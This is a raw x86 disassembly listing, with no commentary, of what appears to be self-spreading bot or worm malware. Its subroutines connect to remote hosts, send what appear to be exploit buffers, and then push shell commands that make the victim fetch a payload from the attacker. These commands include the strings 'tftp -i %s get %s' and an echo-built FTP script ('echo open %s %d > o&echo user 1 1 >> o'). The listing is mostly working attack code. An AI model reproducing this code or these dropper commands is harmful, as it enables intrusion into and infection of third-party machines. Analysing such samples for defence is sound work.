		push	[ebp+arg_A0]
		call	dword_43A3B8
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035CB
		push	[ebp+var_4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------

loc_4035CB:				; CODE XREF: sub_4033CB+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3

loc_4035E0:				; CODE XREF: sub_4033CB+22Aj
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------

loc_4035E3:				; CODE XREF: sub_4033CB+213j
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	[ebp+var_8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------

loc_403624:				; CODE XREF: sub_4033CB+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D

loc_40363C:				; CODE XREF: sub_4033CB+216j
					; sub_4033CB+257j
		call	sub_415E3D
		pop	ecx
		push	edi

loc_403643:				; CODE XREF: sub_4033CB+1FEj
		call	dword_43A450

loc_403649:				; CODE XREF: sub_4033CB+31j
					; sub_4033CB+80j ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------

loc_40364D:				; CODE XREF: sub_4033CB+26Fj
		call	sub_415E3D
		pop	ecx
		push	edi
		call	dword_43A450

loc_40365A:				; CODE XREF: sub_4033CB+163j
		xor	esi, esi

loc_40365C:				; CODE XREF: sub_4033CB+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B24D
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	dword_421060
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------

loc_403680:				; CODE XREF: sub_4033CB+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4036A5:				; CODE XREF: sub_4033CB+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_4036C7:				; CODE XREF: sub_4033CB+2B3j
		push	1
		pop	eax

loc_4036CA:				; CODE XREF: sub_4033CB+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036CF	proc near		; DATA XREF: .nsp0:00423004o
		jmp	$+5
sub_4036CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near
		push	0BB80h
		push	76Ch
		call	sub_414098
		pop	ecx
		mov	dword_438FE0, eax
		pop	ecx
		retn
sub_4036D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3F8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_438FE0
		push	eax
		call	dword_43A3B8
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A438
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3D0
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_438FFC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829

loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------

loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3D0
		push	ebx
		call	dword_43A450
		mov	al, 1

loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155D0
		mov	ax, word ptr dword_438FE0
		add	esp, 2Ch
		push	eax
		call	dword_43A3B8
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------

loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155D0
		mov	eax, dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE

loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------

loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3D0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------

loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: .nsp0:00402FC3p
					; .nsp0:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_414098
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_43A3F8
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_43A3B8
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43A438
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_43A360
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	dword_43A408
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A

loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------

loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------

loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1

loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8

loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1

loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	dword_43A450
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax

loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90

loc_403E8D:				; CODE XREF: .nsp0:00403E87j
		push	1
		pop	eax

loc_403E90:				; CODE XREF: .nsp0:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415570
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155D0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415570
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155D0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E3D
		pop	ecx

loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77

loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------

loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------

loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E3D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FF4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------

loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415570
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155D0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1

loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD

loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: .nsp0:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
